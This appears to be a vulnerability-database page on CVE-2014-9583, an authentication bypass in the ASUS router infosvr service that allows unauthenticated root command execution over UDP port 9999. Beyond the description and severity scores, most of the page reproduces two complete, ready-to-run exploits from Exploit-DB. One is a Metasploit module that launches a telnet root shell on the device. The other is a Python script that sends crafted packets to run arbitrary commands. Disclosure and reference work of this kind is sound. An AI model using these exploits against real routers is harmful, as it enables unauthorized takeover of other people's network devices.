CVE-2014-9583 : Detail

CVE-2014-9583

A01-Broken Access Control
96.26%V3
Network
2015-01-08
19h00 +00:00
2018-04-26
07h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

common.c in infosvr in ASUS WRT firmware 3.0.0.4.376_1071, 3.0.0.376.2524-g0013f52, and other versions, as used in RT-AC66U, RT-N66U, and other routers, does not properly check the MAC address for a request, which allows remote attackers to bypass authentication and execute arbitrary commands via a NET_CMD_ID_MANU_CMD packet to UDP port 9999. NOTE: this issue was incorrectly mapped to CVE-2014-10000, but that ID is invalid due to its use as an example of the 2014 CVE ID syntax change.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 44524

Publication date : 2018-04-23 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'ASUS infosvr Auth Bypass Command Execution', 'Description' => %q{ This module exploits an authentication bypass vulnerability in the infosvr service running on UDP port 9999 on various ASUS routers to execute arbitrary commands as root. This module launches the BusyBox Telnet daemon on the port specified in the TelnetPort option to gain an interactive remote shell. This module was tested successfully on an ASUS RT-N12E with firmware version 2.0.0.35. Numerous ASUS models are reportedly affected, but untested. }, 'Author' => [ 'Friedrich Postelstorfer', # Initial public disclosure and Python exploit 'jduck', # Independent discovery and C exploit 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'License' => MSF_LICENSE, 'Platform' => 'unix', 'References' => [ ['CVE', '2014-9583'], ['EDB', '35688'], ['URL', 'https://github.com/jduck/asus-cmd'] ], 'DisclosureDate' => 'Jan 4 2015', 'Privileged' => true, 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0)) register_options [ Opt::RPORT(9999), OptInt.new('TelnetPort', [true, 'The port for Telnetd to bind', 4444]), OptInt.new('TelnetTimeout', [true, 'The number of seconds to wait for connection to telnet', 10]), OptInt.new('TelnetBannerTimeout', [true, 'The number of seconds to wait for the telnet banner', 25]) ] register_advanced_options [ # If the session is killed (CTRL+C) rather than exiting cleanly, # the telnet port remains open, but is unresponsive, and prevents # re-exploitation until the device is rebooted. OptString.new('CommandShellCleanupCommand', [true, 'A command to run before the session is closed', 'exit']) ] end def telnet_timeout (datastore['TelnetTimeout'] || 10) end def telnet_port datastore['TelnetPort'] end def request(cmd) pkt = '' # ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO pkt << "\x0C" # PacketType [byte] ; NET_PACKET_TYPE_CMD pkt << "\x15" # OpCode [word] ; NET_CMD_ID_MANU_CMD pkt << "\x33\x00" # Info [dword] ; Comment: "Or Transaction ID" pkt << Rex::Text.rand_text_alphanumeric(4) # MacAddress [byte[6]] ; Double-wrongly "checked" with memcpy instead of memcmp pkt << Rex::Text.rand_text_alphanumeric(6) # Password [byte[32]] ; Not checked at all pkt << "\x00" * 32 # Command Length + \x00 + Command padded to 512 bytes pkt << ([cmd.length].pack('C') + "\x00" + cmd).ljust((512 - pkt.length), "\x00") end def exploit connect_udp print_status "#{rhost} - Starting telnetd on port #{telnet_port}..." udp_sock.put request "telnetd -l /bin/sh -p #{telnet_port}" disconnect_udp vprint_status "#{rhost} - Waiting for telnet service to start on port #{telnet_port}..." Rex.sleep 3 vprint_status "#{rhost} - Connecting to #{rhost}:#{telnet_port}..." sock = Rex::Socket.create_tcp 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => { 'Msf' => framework, 'MsfExploit' => self }, 'Timeout' => telnet_timeout if sock.nil? fail_with Failure::Unreachable, "Telnet service unreachable on port #{telnet_port}" end vprint_status "#{rhost} - Trying to establish a telnet session..." prompt = negotiate_telnet sock if prompt.nil? sock.close fail_with Failure::Unknown, 'Unable to establish a telnet session' end print_good "#{rhost} - Telnet session successfully established..." handler sock end def negotiate_telnet(sock) prompt = '#' Timeout.timeout(datastore['TelnetBannerTimeout']) do while true data = sock.get_once(-1, telnet_timeout) if !data or data.length == 0 return nil elsif data.include? prompt return true end end end rescue ::Timeout::Error return nil end end
Exploit Database EDB-ID : 35688

Publication date : 2015-01-03 23h00 +00:00
Author : Friedrich Postelstorfer
EDB Verified : Yes

#!/usr/bin/env python3 # Exploit Title: ASUSWRT 3.0.0.4.376_1071 LAN Backdoor Command Execution # Date: 2014-10-11 # Vendor Homepage: http://www.asus.com/ # Software Link: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/FW_RT_N66U_30043762524.zip # Source code: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/GPL_RT_N66U_30043762524.zip # Tested Version: 3.0.0.4.376_1071-g8696125 # Tested Device: RT-N66U # Description: # A service called "infosvr" listens on port 9999 on the LAN bridge. # Normally this service is used for device discovery using the # "ASUS Wireless Router Device Discovery Utility", but this service contains a # feature that allows an unauthenticated user on the LAN to execute commands # <= 237 bytes as root. Source code is in asuswrt/release/src/router/infosvr. # "iboxcom.h" is in asuswrt/release/src/router/shared. # # Affected devices may also include wireless repeaters and other networking # products, especially the ones which have "Device Discovery" in their features # list. # # Using broadcast address as the IP address should work and execute the command # on all devices in the network segment, but only receiving one response is # supported by this script. import sys, os, socket, struct PORT = 9999 if len(sys.argv) < 3: print('Usage: ' + sys.argv[0] + ' <ip> <command>', file=sys.stderr) sys.exit(1) ip = sys.argv[1] cmd = sys.argv[2] enccmd = cmd.encode() if len(enccmd) > 237: # Strings longer than 237 bytes cause the buffer to overflow and possibly crash the server. print('Values over 237 will give rise to undefined behaviour.', file=sys.stderr) sys.exit(1) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('0.0.0.0', PORT)) sock.settimeout(2) # Request consists of following things # ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO # PacketType [byte] ; NET_PACKET_TYPE_CMD # OpCode [word] ; NET_CMD_ID_MANU_CMD # Info [dword] ; Comment: "Or Transaction ID" # MacAddress [byte[6]] ; Double-wrongly "checked" with memcpy instead of memcmp # Password [byte[32]] ; Not checked at all # Length [word] # Command [byte[420]] ; 420 bytes in struct, 256 - 19 unusable in code = 237 usable packet = (b'\x0C\x15\x33\x00' + os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(enccmd)) + enccmd).ljust(512, b'\x00') sock.sendto(packet, (ip, PORT)) # Response consists of following things # ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO # PacketType [byte] ; NET_PACKET_TYPE_RES # OpCode [word] ; NET_CMD_ID_MANU_CMD # Info [dword] ; Equal to Info of request # MacAddress [byte[6]] ; Filled in for us # Length [word] # Result [byte[420]] ; Actually returns that amount while True: data, addr = sock.recvfrom(512) if len(data) == 512 and data[1] == 22: break length = struct.unpack('<H', data[14:16])[0] s = slice(16, 16+length) sys.stdout.buffer.write(data[s]) sock.close()

Products Mentioned

Configuraton 0

T-mobile>>Tm-ac1900 >> Version 3.0.0.4.376_3169

Configuraton 0

Asus>>Wrt_firmware >> Version 3.0.0.4.376.2524-g0012f52

Asus>>Wrt_firmware >> Version 3.0.0.4.376_1071

Asus>>Rt-ac66u >> Version *

Asus>>Rt-n66u >> Version *

References

http://www.exploit-db.com/exploits/35688
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/44524/
Tags : exploit, x_refsource_EXPLOIT-DB
https://github.com/jduck/asus-cmd
Tags : x_refsource_MISC